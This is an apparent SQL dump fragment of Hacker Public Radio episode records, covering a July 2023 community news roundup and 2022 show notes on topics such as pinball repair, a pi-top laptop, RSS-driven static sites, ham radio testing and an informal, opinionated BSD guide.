href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 20 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html#comments\" target=\"_blank\">hpr3876</a></strong>\n(2023-06-12) \"<em>Recording An Episode For Hacker Public Radio</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0419.html\" target=\"_blank\">Ryuno-Ki</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-01:\n\"Good information about recording\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html#comments\" target=\"_blank\">hpr3883</a></strong>\n(2023-06-21) \"<em>Emergency Show: How to demonstrate the power of condensing steam</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-15:\n\"Clap!\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#comments\" target=\"_blank\">hpr3889</a></strong>\n(2023-06-29) \"<em>comm - compare two sorted files line by line</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-08:\n\"KDirStat is dead, long live QDirStat!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2023-07-12:\n\"QDirstat is nice but I meant kdiff3\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#comments\" target=\"_blank\">hpr3891</a></strong>\n(2023-07-03) \"<em>HPR Community News for June 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2023-07-03:\n\"solocast updates\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2023-07-04:\n\"My truck\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#comments\" target=\"_blank\">hpr3892</a></strong>\n(2023-07-04) \"<em>Emacs package curation, part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2023-07-05:\n\"I love this topic\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-07-11:\n\"Do it!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html#comments\" target=\"_blank\">hpr3894</a></strong>\n(2023-07-06) \"<em>The Page 42 Show: Ugly News Week, Show\'s Epoch!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-07-08:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#comments\" target=\"_blank\">hpr3896</a></strong>\n(2023-07-10) \"<em>The Brochs of Glenelg</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Ruins\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#comments\" target=\"_blank\">hpr3900</a></strong>\n(2023-07-14) \"<em>Preparing Podcasts for Listening</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#1\" target=\"_blank\">Comment 1</a>:\nHipstre on 2023-07-14:\n\"Limiter/GPodder\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#2\" target=\"_blank\">Comment 2</a>:\nEugene on 2023-07-16:\n\"No need for podcast preprocessing\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2023-07-17:\n\"Sansa Clip+\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html#comments\" target=\"_blank\">hpr3901</a></strong>\n(2023-07-17) \"<em>Time Managment</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-18:\n\"aCalendar on Android\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html#comments\" target=\"_blank\">hpr3902</a></strong>\n(2023-07-18) \"<em>Introduction to a new series on FFMPEG</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0300.html\" target=\"_blank\">Mr. Young</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"ffmpeg\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html#comments\" target=\"_blank\">hpr3903</a></strong>\n(2023-07-19) \"<em>Why I don\'t love systemd (yet)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0073.html\" target=\"_blank\">deepgeek</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"systemd\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#comments\" target=\"_blank\">hpr3904</a></strong>\n(2023-07-20) \"<em>How to make friends</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Friends\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2023-08-02:\n\"Frienships\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html#comments\" target=\"_blank\">hpr3909</a></strong>\n(2023-07-27) \"<em>Permission tickets. </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0398.html\" target=\"_blank\">one_of_spoons</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Great show, keep em coming!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html#comments\" target=\"_blank\">hpr3910</a></strong>\n(2023-07-28) \"<em>Playing Civilization II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Game mechanics\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-July/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-July/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"the-hpr-static-site\">The HPR Static Site</h2>\n<p>As mentioned in the last Community News episode, the HPR database and\nwebsite was moved to a new server, and the static site generator written\nby <code>Rho`n</code> was used to generated the non-interactive part of\nthe website.</p>\n<p>Since then, there has been a process of adapting the software to the\nnew configuration. Unfortunately <code>Rho`n</code> has not been\navailable during this process, but we are gradually learning our way\naround his excellent software and making changes to suit our needs.</p>\n<p>If you spot any problems or have ideas for new features, please raise\nissues on the Gitea repository at: <a\nhref=\"https://repo.anhonesthost.net/rho_n/hpr_generator/issues\"\nclass=\"uri\">https://repo.anhonesthost.net/rho_n/hpr_generator/issues</a>.</p>\n<h2 id=\"reserve-queue\">Reserve Queue</h2>\n<p>A policy change is required in the use of the reserve queue. When\nthere are unfilled slots between 5 and 7 days in the future, episodes in\nthis queue will be used to fill them.</p>\n<p>This extra time is required because of the time it can take to\nprocess a show and load it to the Internet Archive.</p>\n<h2 id=\"bram-moolenaar-author-of-vim-dies\">Bram Moolenaar, author of Vim\ndies</h2>\n<p>There was an announcement from Bram\'s family today (2023-08-05) that\nhe died on August 3<sup>rd</sup> 2023 from a medical problem that\nworsened recently.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Bram_Moolenaar\">Bram\nMoolenar\'s page on Wikipedia</a></p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3643,'2022-07-20','My computing history and the software I use',3345,'Rambling about my computing history and tech stack. ','<p>I introduce myself by describing my computing history and tech stack. Disjointed rambling and tangentially related thoughts ensue.</p>\n',406,0,1,'CC-BY-SA','UNIX, Linux, first show, BSD, Android',0,0,1),
(3658,'2022-08-10','Linux Inlaws S01E62: HPR\'s inner workings',1975,'An overview of HPRs inner workings and stats based on a ludicrous claim by the Inlaws','<p>In this episode our two ageing heroes explore the inner workings of a podcast (or podcast hosting platform depending on your perspective) called Hacker Public Radio. Yes, the platform that the Inlaws have been using since the very inception of this rapidly growing FLOSS podcast content. Wondering what the heck this episode is all about, why exactly Martin and Chris are talking about this now and the importance of statistics, lies and damned lies? Then just listen to this episode. You may also find out the difference between mere caching and content syndication. Never mind  HPR\'s inner workings.</p>\n<h2>Links:</h2>\n<ul>\n<li>hpr3648: <a href=\"https://hackerpublicradio.org/eps.php?id=3648\" target=_blank>https://hackerpublicradio.org/eps.php?id=3648</a></li>\n<li>The Internet Archive: <a href=\"https://archive.org\" target=_blank>https://archive.org</a></li>\n<li>Extraterrestrial sheep: <a href=\"https://aliens.fandom.com/wiki/Sheep_(Kaeloo)\" target=_blank>https://aliens.fandom.com/wiki/Sheep_(Kaeloo)</a></li>\n<li>QuickAxe: <a href=\"https://fireemblem.fandom.com/wiki/Quick_Axe\" target=_blank>https://fireemblem.fandom.com/wiki/Quick_Axe</a></li>\n<li>Linux Episode S01E35 (The Free Software Foundation Europe): <a href=\"https://hackerpublicradio.org/eps.php?id=3388\" target=_blank>https://hackerpublicradio.org/eps.php?id=3388</a></li>\n<li>Ford v Ferrari: <a href=\"https://www.imdb.com/title/tt1950186/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt1950186/?ref_=nv_sr_srsg_0</a></li>\n<li>Book of Monsters: <a href=\"https://www.imdb.com/title/tt7260818/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt7260818/?ref_=fn_al_tt_1</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Lies, damned lies, stats, projections, CDNs, Ford, Ferrari, Monsters, Books',0,0,1),
(3679,'2022-09-08','Linux Inlaws S01E64: Non-profits in the US: A closer look at 501(c)s',2177,'The Ins and Outs of 501(c)s','<p>In this episode, Martin and Chris shed more light on the riveting subject of non-profit\nand not-for-profit organisations especially in the US with a special focus on the all-\nimportant topic of tax implications. Warning: Due to the fast-paced and gripping never\nmind explicit nature of this topic, people with sleeping disabilities or who are easily startled\n/ offended by graphic content should consult a member of the medical profession to ensure\nthat they are capable of handling this episode. You have been warned.</p>\n<h2>Links:</h2>\n<ul>\n<li>501(c) overview: <a href=\"https://en.wikipedia.org/wiki/501(c)_organization\" target=_blank>https://en.wikipedia.org/wiki/501(c)_organization</a></li>\n<li>501(c)3: <a href=\"https://en.wikipedia.org/wiki/501(c)(3)_organization\" target=_blank>https://en.wikipedia.org/wiki/501(c)(3)_organization</a></li>\n<li>NATO 5th article: <a href=\"https://www.nato.int/cps/en/natohq/topics_110496.htm\" target=_blank>https://www.nato.int/cps/en/natohq/topics_110496.htm</a></li>\n<li>Johnson amendment: <a href=\"https://en.wikipedia.org/wiki/Johnson_Amendment\" target=_blank>https://en.wikipedia.org/wiki/Johnson_Amendment</a></li>\n<li>St IGNUcius / Church of Emacs: <a href=\"https://stallman.org/saint.html\" target=_blank>https://stallman.org/saint.html</a></li>\n<li>Richard Stallman rejoins the FSF board: <a href=\"https://www.theregister.com/2021/03/22/richard_stallman_back_on_fsf_board\" target=_blank>https://www.theregister.com/2021/03/22/richard_stallman_back_on_fsf_board</a></li>\n<li>The Undeclared War: <a href=\"https://en.wikipedia.org/wiki/The_Undeclared_War\" target=_blank>https://en.wikipedia.org/wiki/The_Undeclared_War</a></li>\n<li>Serviettenknödel: <a href=\"http://gingerandbread.com/2014/12/19/serviettenknodel-a-dumpling-for-special-occasions\" target=_blank>http://gingerandbread.com/2014/12/19/serviettenknodel-a-dumpling-for-special-occasions</a></li>\n<li>HPR website project (discussion on the mailing list): <a href=\"http://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html\" target=_blank>http://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','501(c)3, 501(c)6, non-profits, not-for-profits, Church of Emacs, RMS, Serviettenknödel',0,0,1),
(3644,'2022-07-21','Pinball Machine Repair Tips',1483,'As a first show, I introduce myself and show some repairability tips for 90s pinball machines','<p>After the introduction, as this is my first show, i tell you how i got my current Pinball machine, an \"Indiana Jones, the Pinball adventure\" from Williams.</p>\n<p>I suggest tips to anyone trying to repair one, or simply to curious people out there.</p>\n',407,103,1,'CC-BY-SA','first show,pinball,repair,electronics,90s',0,0,1),
(3646,'2022-07-25','arm, slackware, forth oh my!',834,'a description of a laptop ','<p><em>Image 1</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image1.jpg\" alt=\"Image 1\" /></p>\n<p><em>Image 2</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image2.jpg\" alt=\"Image 2\" /></p>\n<p><em>Image 3</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image3.jpg\" alt=\"Image 3\" /></p>\n<h3 id=\"pi-top-the-company\">pi-top the company</h3>\n<ul>\n<li>make educational products using the rasp-pi</li>\n<li>uk based company 24 million $ funding 3 employees</li>\n<li>products\n<ul>\n<li>pitop ceed</li>\n<li>pitop 2 laptop</li>\n<li>pitop 3 laptop</li>\n<li>pitop 4 case+ for rpi4</li>\n<li>robot kit, etc</li>\n</ul></li>\n</ul>\n<h3 id=\"my-pi-top-3\">my pi-top 3</h3>\n<ul>\n<li>had a pi-top 2, keyboard was bad, battery was worse</li>\n<li>ebay purchase pi-top 3, wanted to try new form factor and see if the battery was better</li>\n<li>came with experimentor kit, included a slide in solderless breadboard, and an rpi!</li>\n<li>description</li>\n<li>modifications\n<ul>\n<li>slackware install,lost some of the built in scripts that monitored the system, especially battery monitoring</li>\n<li>added a daughter board with an atmega328 running forth to do the battery monitoring</li>\n<li>added an rtc ds1307, installed via instructions from the sarpi website</li>\n</ul></li>\n<li>pluses\n<ul>\n<li>better keyboard, with better mechanical design</li>\n<li>better battery life, charging great</li>\n<li>better screen</li>\n</ul></li>\n<li>minuses\n<ul>\n<li>charging board seems closed source, that would be the keys to the kingdom</li>\n<li>old software hard to come by</li>\n<li>stuck in rpi3 form factor</li>\n</ul></li>\n<li>plans\n<ul>\n<li>+upgrade to slackware 15-64 bit+</li>\n<li>leave the rpi and go to a pineboard</li>\n<li>reverse engineer charging board?</li>\n<li>easier to modify case to accept new hardware</li>\n</ul></li>\n</ul>\n',326,0,0,'CC-BY-SA','raspberry pi, hardware',0,0,1),
(3653,'2022-08-03','Hello HPR Community',53,'Introducing myself to the HPR community','<p>Long time listener, first time caller...</p>\n',408,0,0,'CC-BY-SA','Introductions',0,0,1),
(3668,'2022-08-24','Linux Inlaws S01E63: John Hawley on kernel dot org and other shenanigans',5514,'An interview with John Hawley of kernel.org fame','<p>In this episode Martin and Chris host John Hawley of kernel.org fame. The\ndiscussion centers around Python, the royal British family and other FLOSS\ntopics such as some break-away colonies like the US, version control systems,\nwireless wikis and containers. Never mind Python. Did I mention Python? :-)\nAnd perhaps VMware. Ever wondered why early versions of git just gobbled up\nyour main memory? You may or may not find the answer in this episode. Or its\nouttakes...</p>\n\n<h2>Links:</h2>\n<ul>\n<li>The Linux kernel: <a href=\"https://kernel.org\" target=_blank>https://kernel.org</a></li>\n<li>The wireless subsystem: <a href=\"https://wireless.kernel.org\" target=_blank>https://wireless.kernel.org</a></li>\n<li>git: <a href=\"https://git-scm.com\" target=_blank>https://git-scm.com</a></li>\n<li>Linux kernel VCS before git: <a href=\"https://www.linuxjournal.com/content/git-origin-story\" target=_blank>https://www.linuxjournal.com/content/git-origin-story</a></li>\n<li>xkcd on git: <a href=\"https://xkcd.com/1597\" target=_blank>https://xkcd.com/1597</a></li>\n<li>Guido @ Microsoft: <a href=\"https://twitter.com/gvanrossum/status/1326932991566700549\" target=_blank>https://twitter.com/gvanrossum/status/1326932991566700549</a></li>\n<li>Episode on The Halloween Documents: <a href=\"https://linuxinlaws.eu/archive.html#S01\" target=_blank>https://linuxinlaws.eu/archive.html#S01</a></li>\n<li>TIOBE index: <a href=\"https://www.tiobe.com/tiobe-index\" target=_blank>https://www.tiobe.com/tiobe-index</a></li>\n<li>PhotonOS: <a href=\"https://vmware.github.io/photon/assets/files/html/3.0/Introduction.html\" target=_blank>https://vmware.github.io/photon/assets/files/html/3.0/Introduction.html</a></li>\n<li>BusyBox: <a href=\"https://www.busybox.net\" target=_blank>https://www.busybox.net</a></li>\n<li>Python Software Foundation: <a href=\"https://www.python.org/psf\" target=_blank>https://www.python.org/psf</a></li>\n<li>Google Summier of Code: <a href=\"https://summerofcode.withgoogle.com\" target=_blank>https://summerofcode.withgoogle.com</a></li>\n<li>trace-cruncher: <a href=\"https://github.com/vmware/trace-cruncher\" target=_blank>https://github.com/vmware/trace-cruncher</a></li>\n<li>Zero Dark Thirty: <a href=\"https://www.imdb.com/title/tt1790885/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt1790885/?ref_=nv_sr_srsg_0</a></li>\n<li>Command Line Heroes: <a href=\"https://www.redhat.com/en/command-line-heroes/about\" target=_blank>https://www.redhat.com/en/command-line-heroes/about</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','git, kernel.org, GSoC, Command Line Heroes, Zero Dark Thirty, trace cruncher',0,0,1),
(3654,'2022-08-04','Use the data in the Ogg feed to create a website.',807,'How much of of site can I make using only the data from the feed?','<h1 id=\"make-a-website-using-the-hpr-rss-feed\">Make a website using the HPR RSS Feed</h1>\n<p>Welcome to part II of my experiment in how much can be done with the data ion the HPR feed</p>\n<p>In my previous episode <a href=\"https://hackerpublicradio.org/eps.php?id=3637\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3637</a> I discussed taking the data from the HPR feed and stuffing the useful bits into a sqlite database.</p>\n<p>Today, Ill discuss some of my adventures generating a static site using the feed data</p>\n<h2 id=\"lessons-learned\">Lessons learned</h2>\n<ul>\n<li>Maybe skip DB step</li>\n<li>I tend to over use Markdown - sometimes HTML is Better</li>\n<li>So much content on HPR</li>\n</ul>\n<h2 id=\"tech\">Tech</h2>\n<p>My original intent was to create markdown files that could be feed into an existing static site generator, something like Hugo or Jekyll.</p>\n<p>I started with markdown but had to add too much html.</p>\n<p>I\'m am a bit fan of using Markdown, but it did not fit this particular use case</p>\n<ul>\n<li>Peewee - ORM - <a href=\"https://docs.peewee-orm.com\" class=\"uri\">https://docs.peewee-orm.com</a></li>\n<li>Jinja - Templates - <a href=\"https://jinja.palletsprojects.com\" class=\"uri\">https://jinja.palletsprojects.com</a></li>\n</ul>\n<h2 id=\"feed-as-source-of-data\">Feed as source of data</h2>\n<p>I added some HTML for header footer</p>\n<ul>\n<li>Header\n<ul>\n<li>bootstrap CSS columns</li>\n<li>hpr logo</li>\n</ul></li>\n<li>footer\n<ul>\n<li>Links</li>\n<li>Copyright</li>\n</ul></li>\n</ul>\n<h2 id=\"pages\">Pages</h2>\n<ul>\n<li>Main page listing the most recent shows</li>\n<li>A page listing all shows</li>\n<li>Individual pages for each show</li>\n<li>A page listing all the hosts</li>\n<li>individual page for each host</li>\n</ul>\n<p>One thing I would like to see on the HPR page is a count of how many shows there are for each host. I have enough data, so I added show counts.</p>\n<h2 id=\"missing-data\">Missing data</h2>\n<ul>\n<li>host profiles - web page, avatars</li>\n<li>tags</li>\n<li>series</li>\n<li>Summary - The short 100 character summary of what your show is about</li>\n<li>License</li>\n<li>Other pages on the HPR site.\n<ul>\n<li>What you need to know</li>\n<li>How to help out</li>\n<li>Requested topics</li>\n<li>...</li>\n</ul></li>\n</ul>\n<h2 id=\"how-does-it-work\">How does it work</h2>\n<ul>\n<li>Peewee to read from sqlite file</li>\n<li>Python aggregates the appropriate data</li>\n<li>Jinja Templates for\n<ul>\n<li>index - passed data from most recent shows</li>\n<li>All shows</li>\n<li>host page</li>\n<li>corespondents - all host</li>\n</ul></li>\n</ul>\n<h3 id=\"todo\">TODO</h3>\n<ul>\n<li>Incorporate Comment feed</li>\n<li>Generate static copy of RSS feed.</li>\n<li>Copy content from HPR pages that are not in the RSS feed.</li>\n<li>Generate Tags from Keywords in the show notes.</li>\n<li>Only use the Full Feed on the first run.</li>\n</ul>\n<h3 id=\"links\">Links</h3>\n<ul>\n<li>Project - <a href=\"https://gitlab.com/norrist/hprfeed2db\" class=\"uri\">https://gitlab.com/norrist/hprfeed2db</a> - Suggestions/Pull Requests are welcome</li>\n<li>Example site - <a href=\"https://hpr.norrist.xyz/\" class=\"uri\">https://hpr.norrist.xyz/</a></li>\n</ul>\n',342,0,0,'CC-BY-SA','python, rss, sqlite',0,0,1),
(3661,'2022-08-15','Ham Radio testing',361,'Study and testing for the ARRL Ham license','<h4 id=\"study-tools\">Study tools</h4>\n<ul>\n<li><a href=\"https://hamstudy.org\" title=\"HamStudy.org\">HamStudy.org</a></li>\n<li>HamStudy.org Offline App\n<ul>\n<li><a href=\"https://play.google.com/store/apps/details?id=org.hamstudy.mobile\" title=\"HamStudy Android app\">Android app link</a></li>\n</ul></li>\n</ul>\n<h4 id=\"arrl-american-radio-relay-league\">ARRL (American Radio Relay League)</h4>\n<ul>\n<li><a href=\"http://www.arrl.org/find-an-amateur-radio-license-exam-session\" title=\"Find an Amateur Radio License Exam Session\">ARRL Find an Amateur Radio License Exam Session</a></li>\n</ul>\n<h4 id=\"pictures\">Pictures</h4>\n<p><em>Picture of sign on the test day</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3661/Test_day_sign.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3661/Test_day_sign_thumbnail.png\" alt=\"Picture of sign on the test day\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n<p><em>Picture of Masonic Lodge sign</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3661/Lodge_sign.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3661/Lodge_sign_thumbnail.png\" alt=\"Picture of Masonic Lodge sign\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n',318,43,0,'CC-BY-SA','ham radio, ARRL, testing',0,0,1),
(3655,'2022-08-05','BSD for Linux users',4073,'I attempt to explain the wacky and wonderful world of BSD in a Linux friendly way','<h1 >UNIX, Linux, and BSD</h1>\n<blockquote><p><q>Linux was created by PC users attempting to use mainframe UNIX. BSD was created by mainframe UNIX users attempting to use a PC.</q></p></blockquote>\n<p>BSD is what I like to call a “Pedigree UNIX”, meaning that it is a pure blooded descendant of AT&amp;T UNIX. Although all of the original AT&amp;T code has been re-written so a permissive license, the heritage persists.</p>\n<p>In contrast to Linux (which shares no original Bell Labs code), BSD was originally all Labs code.</p>\n<h1 >BSD in the wild</h1>\n<p>BSD style licensing is quite simple to understand compared to the tome that is the GPL. Interpreting it usually goes something like follows:</p>\n<blockquote><p><q>Do whatever the hell you want with this code, just don’t blame me when it breaks something and don’t claim you wrote it</q></p></blockquote>\n<p>Permissive licensing means that various companies can put lipstick on the UNIX pig and falsely assert that it’s anything other than lipstick on the UNIX pig. Not that UNIX is a pig, but you cannot disguise a pig with lipstick. Those burdened with the gift of sight and knowledge can spot a UNIX system quite easily.</p>\n<ul >\n<li>Apple software is basically stolen BSD</li>\n<li>Windows TCP/IP stack (and ftp/rcp/rsh/ssh/scp and other various non-trash networking protocols) is basically stolen BSD</li>\n<li>Sony PlayStation is basically stolen BSD</li>\n<li>Nintendo switch is basically stolen BSD</li>\n<li>a million others that I can’t be bothered to list because they’re either abandonware or are embedded in your e-toaster and internet enabled dishwasher so no one cares</li>\n</ul>\n<h1 >Interacting with BSD guys</h1>\n<p>Most Linux enthusiasts are missionaries. They are generally helpful and seek to guide the computing neophyte into the inner circle of FSF initiates.</p>\n<p>The BSD guys tend to be like hermits. They don’t care if you use their code, they only care that the code works for them. When you ask for help, a typical response will be “did you even read the error logs?” or “did you even RTFM? What about supplemental documentation? We didn’t write TFM just so you could go online and ask something clearly documented in TFM.”</p>\n<p>Not all BSD guys are bitter, but you really should consult available resources before asking questions</p>\n<h1 >Forking vs distros</h1>\n<p>In Linux land, all the distros are basically the same with varying coats of paint. We call these distributions because all “implementations” of linux are nearly identical code bases built with varying compile time options.</p>\n<p>In BSD land, distros don’t exist. Free/Net/Open are entirely independent and don’t share a common upstream. They are forks of primordial BSD that run separate kernels, separate userlands, etc. Although code is shared amongst each other, a statically linked binary can’t simply be dumped from one to another and still run as it would in Linux land.</p>\n<p>Meta-distos of FreeBSD do exist but they are short lived unless they have corporate backers.</p>\n<h1 >Idiot’s guide to picking a BSD</h1>\n<blockquote><p><q>I want basically Linux desktop out of the box but with a BSD kernel so I can look cool when I post a neofetch screenshot to the /g/ desktop thread!!</q></p></blockquote>\n<p>Selecting a FreeBSD fork that comes with a desktop is your goto. The currently maintained desktop distros are HelloSystems, GhostBSD, NomadBSD, and MidnightBSD.</p>\n<blockquote><p><q>I want a viable desktop operating system</q></p></blockquote>\n<p>FreeBSD with a non-GNOME DE is fairly reliable. I’ve had success with KDE, XFCE, and various tiling window managers. GNOME is too reliant on systemd so the port is janky.</p>\n<blockquote><p><q>I want something to learn by example with</q></p></blockquote>\n<p>OpenBSD is a great learning platform. The source code for userland utils is simple, short, and generally free from OS specific function calls. RTFM goes by the wayside when you easily RTFSC.</p>\n<blockquote><p><q>I want to prevent foot shooting incidents</q></p></blockquote>\n<p>OpenBSD eliminates many foot shooting scenarios by being a thorn in the side of the user who wants to do stupid things</p>\n<blockquote><p><q>I want to run UNIX to an obscure device</q></p></blockquote>\n<p>OpenBSD runs on a lot of architectures: i386, amd64, arm64, arm7, alpha, sparc64, risc64, ppc64, etc. The devs self-host these ports (ie build the release on a physical processor instead of cross compiling). This means that the alpha port is actually built on a VAX machine, the sparc port is actually built on a sparc machine, etc.</p>\n<p>NetBSD runs on everything.</p>\n<blockquote><p><q>I can’t decide!!! Pick one for me!!!</q></p></blockquote>\n<p>Just go with FreeBSD. It feels a lot like old Debian.</p>\n<h1 >Hardware</h1>\n<p>Lenovo 